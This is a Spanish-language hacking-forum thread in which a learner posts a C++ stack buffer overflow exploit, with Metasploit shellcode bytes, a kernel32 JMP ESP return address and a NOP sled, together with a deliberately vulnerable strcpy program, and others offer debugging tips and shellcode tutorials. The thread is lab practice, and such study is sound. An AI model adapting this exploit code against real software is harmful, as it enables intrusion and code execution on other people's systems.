Autor
|
Tema: Problema Con Buffer Overflow (Leído 7,242 veces)
|
Blackhawk222
Desconectado
Mensajes: 23
|
Hola a todos. Es la primera vez que pregunto algo en este foro, espero que puedan ayudarme por que no encontre la respuesta de este problema en ninguna manual que he leido. El tema es el siguiente estoy aprendiendo los Buffer Overflows, utilizando un programa sacado de una manual sobre el mismo tema. El programa a los 316 caracteres empieza a sobreescribir el registro EIP, el asunto es que el EIP hace su salto a el offset 7C86467B (JMP ESP - Libreria KERNEL32) pero la shellcode no se ejecuta correctamente debido a que no se abre la shell o el programa que elegi. El OllyDbg me dice Violacion de acceso al leer 00000032. Yo vi que la pila no contiene toda la shellcode completa sino una pequeña parte... Alguna idea sobre el problema? CODIGO DEL EXPLOIT #include <cstdlib> #include <iostream> #include <fstream>
using namespace std;
int main(int argc, char *argv[]) {
char shell[] = "\x2b\xc9\xbb\xef\x7a\x3b\xa1\xdb\xc8\xb1\x32\xd9\x74\x24\xf4" "\x5a\x31\x5a\x13\x03\x5a\x13\x83\xc2\x04\xe2\x1a\x86\xd3\x28" "\xe4\x77\x24\x4b\x6d\x92\x15\x59\x09\xd6\x04\x6d\x5a\xba\xa4" "\x06\x0e\x2f\x3e\x6a\x86\x40\xf7\xc1\xf0\x6f\x08\xe4\x3c\x23" "\xca\x66\xc0\x3e\x1f\x49\xf9\xf0\x52\x88\x3e\xec\x9d\xd8\x97" "\x7a\x0f\xcd\x9c\x3f\x8c\xec\x72\x34\xac\x96\xf7\x8b\x59\x2d" "\xf6\xdb\xf2\x3a\xb0\xc3\x79\x64\x60\xf5\xae\x76\x5c\xbc\xdb" "\x4d\x17\x3f\x0a\x9c\xd8\x71\x72\x73\xe7\xbd\x7f\x8d\x20\x79" "\x60\xf8\x5a\x79\x1d\xfb\x99\x03\xf9\x8e\x3f\xa3\x8a\x29\x9b" "\x55\x5e\xaf\x68\x59\x2b\xbb\x36\x7e\xaa\x68\x4d\x7a\x27\x8f" "\x81\x0a\x73\xb4\x05\x56\x27\xd5\x1c\x32\x86\xea\x7e\x9a\x77" "\x4f\xf5\x09\x63\xe9\x54\x44\x72\x7b\xe3\x21\x74\x83\xeb\x01" "\x1d\xb2\x60\xce\x5a\x4b\xa3\xaa\x85\xa9\x61\xc7\x2d\x74\xe0" "\x6a\x30\x87\xdf\xa9\x4d\x04\xd5\x51\xaa\x14\x9c\x54\xf6\x92" "\x4d\x25\x67\x77\x71\x9a\x88\x52\x03\x79\x10\x38\x87\xe8\xaa" "\xc2";
char ret[]= "\x7B\x46\x86\x7C"; /*KERNEL 32.DLL JMP ESP */ /*316NOPS */ char nops[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90";
cout << "CREANDO EXPLOIT" << endl; ofstream archivo; archivo.open("a.txt"); archivo<<nops<<ret<<shell; archivo.close(); cout << "LISTO !!!" << endl; cout<<endl<<shell; system("PAUSE"); } CODIGO DEL SOFT VULNERABLE #include <cstdlib> #include <iostream> using namespace std;
int LeerFichero(char *Fbuffer, char *Fnombre, int Limite) { int c; int n=0; FILE *f; f=fopen(Fnombre,"r"); while ((c=getc(f))!=EOF) { if(n<Limite) {Fbuffer[n++]=c;} } Fbuffer[n++]=0; fclose(f); return 0; }
int FuncionVulnerable(char *cptr) { char buff[300] = "Datos"; strcpy(buff,cptr); printf("%s\n\n",buff); return 0; }
int FuncionOculta() { printf("Este texto nunca deberia de haberse mostrado"); return 0; }
int main() { char buffer[1000]; char nombre[] = "a.txt"; LeerFichero(buffer,nombre,1000); FuncionVulnerable(buffer); return 0; } Gracias....
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Amigo, si tienes lo de funcion oculta, no te compliques la vida Otra cosa, tienes ahi el NOP, hazlo con memset xD Y... a ver si tu shellcode no es correcta, puede ser para otro SP, o otro SO que tmb... la has hecho tu?
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Blackhawk222
Desconectado
Mensajes: 23
|
Como es eso de memset? y lo de los nops no entiendo a lo que te referis. La shellcode salio de metasploit es para ejecutar el editor de registro sino me equivoco.
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
¿No me digas que usastes Metasploit ? Lo odio, eso no es hacking... Te explico, hay una funcion usada para llenar la memoria con datos. Yo la uso asi: #include <stdio.h> #include <string.h> int main () { char nops [56]; return 0; }
Los NOPS son una instruccion del procesador que no hace nada. Se usa para llegar la shellcode... Su valor, como ves, es 0x90.
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Blackhawk222
Desconectado
Mensajes: 23
|
A ver si entiendo memset sirver para no tener que andar escribiendo todos los nops no? Lo de los nops ya sabia para que servian pero gracias. Bueno alguna idea de por que no anda el exploit? Como dije la shellcode la creo metasploit supongo que ahi esta el problema, que dicen?
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Sep, para rellenar memoria, correcto... Bueno, Metasploit, ademas de ser muy odiada por mi parte, no funciona muy bien para hacer shellcodes para estos codes caseros... Entonces podriamos hacer mejor nuestro propio exploit xD... Veamos... Creo que tu code no es que sea muy bueno para hacer la practica... Es copy-paste o lo has hecho tu? No es muy practico xD... A ver, un code mas sencillo seria: #include <stdio.h> #include <string.h> int main (int argc, char *argv []) { if (argc < 2) return 1; char buffer [4]; return 0; } int oculto () { }
Entonces si escribimos 4 bytes del buffer + 4 del EBP (ensamblador) solo le metemos 4 mas con el ret... de "oculto ()". Podemos hacer este exploit... #include <stdio.h> #include <string.h> int main () { char nops [8]; char ret [4] = "\x00\x00\x00\x00"; // Direccion regreso de "oculto" char command [19]; return 0; }
Bueno, abrimos con GDB y hacemos un break en el puts de ./code: gcc -o code code.c -g gdb -q ./code break puts r AAA x/x buffer
Y copiamos la direccion de "buffer" al reves (orden de bits de red) Esto es para Linux. Si estas en Windows, leete el texto de Rojodos. Estaba por el "Garage Virtual" o algo asi xD...
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
Blackhawk222
Desconectado
Mensajes: 23
|
Gracias por la ayuda, ando en windows asi que el ejemplo ese no me sirve de mucho. El texto de rojodos es uno de los que lei, bueno creo que el problema es esa shellcode tengo que aprender a crear la mia propia. Tienes alguna idea de algun manual que te enseñe a crearlas cualquier tipo de shellcodes? Aclaracion:El codigo lo saque de un manual...
|
|
|
En línea
|
|
|
|
Garfield07
Desconectado
Mensajes: 1.121
¡Este año voy a por todas! JMJ 2011
|
Tengo un libro muy bueno pero es de Linux, aunque es buenisimo: "Hacking, técnicas fundamentales". Buenisimo... Para Windows podrias mirar... vi una vez uno en Google, ahora mismo no me acuerdo, mañana lo miro, prueba en Google xD lo siento xD
|
|
|
En línea
|
* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente. * No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado. * Si compila esta bien, si arranca es perfecto. ¡Wiki elhacker.net!Un saludo
|
|
|
pepeluxx
Desconectado
Mensajes: 347
Todos los días se aprende algo nuevo
|
Gracias por la ayuda, ando en windows asi que el ejemplo ese no me sirve de mucho. El texto de rojodos es uno de los que lei, bueno creo que el problema es esa shellcode tengo que aprender a crear la mia propia. Tienes alguna idea de algun manual que te enseñe a crearlas cualquier tipo de shellcodes? Aclaracion:El codigo lo saque de un manual...
Echale un ojo a un texto que escribí sobre ese tema. Espero que te ayude http://pepelux.org/download.php?f=papers/shellcodes_en_win32.txt
|
|
|
En línea
|
|
|
|
Blackhawk222
Desconectado
Mensajes: 23
|
Gracias pepeluxx por el texto, parece estar bueno lo voy a leer y luego te digo que tal.
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Problema, return address buffer overflow (Cómo calcular la dirección del buffer?
Bugs y Exploits
|
Debci
|
6
|
7,690
|
7 Abril 2014, 20:00 pm
por soez
|
|
|
Problema buffer overflow
« 1 2 »
Bugs y Exploits
|
kr0m_
|
19
|
11,660
|
31 Agosto 2014, 21:27 pm
por dRak0
|
|
|
Problema al intentar explotar buffer overflow
Bugs y Exploits
|
Vannox991
|
7
|
5,883
|
7 Enero 2021, 00:39 am
por MCKSys Argentina
|
|
|
Deshabilitar proceccion de buffer overflow con gcc
Programación C/C++
|
nullx100
|
1
|
3,666
|
30 Abril 2022, 00:00 am
por MCKSys Argentina
|
|
|
Explicación de buffer overflow
Bugs y Exploits
|
Parado_larga_duracion_ESP
|
0
|
5,489
|
23 Febrero 2024, 11:43 am
por Parado_larga_duracion_ESP
|
|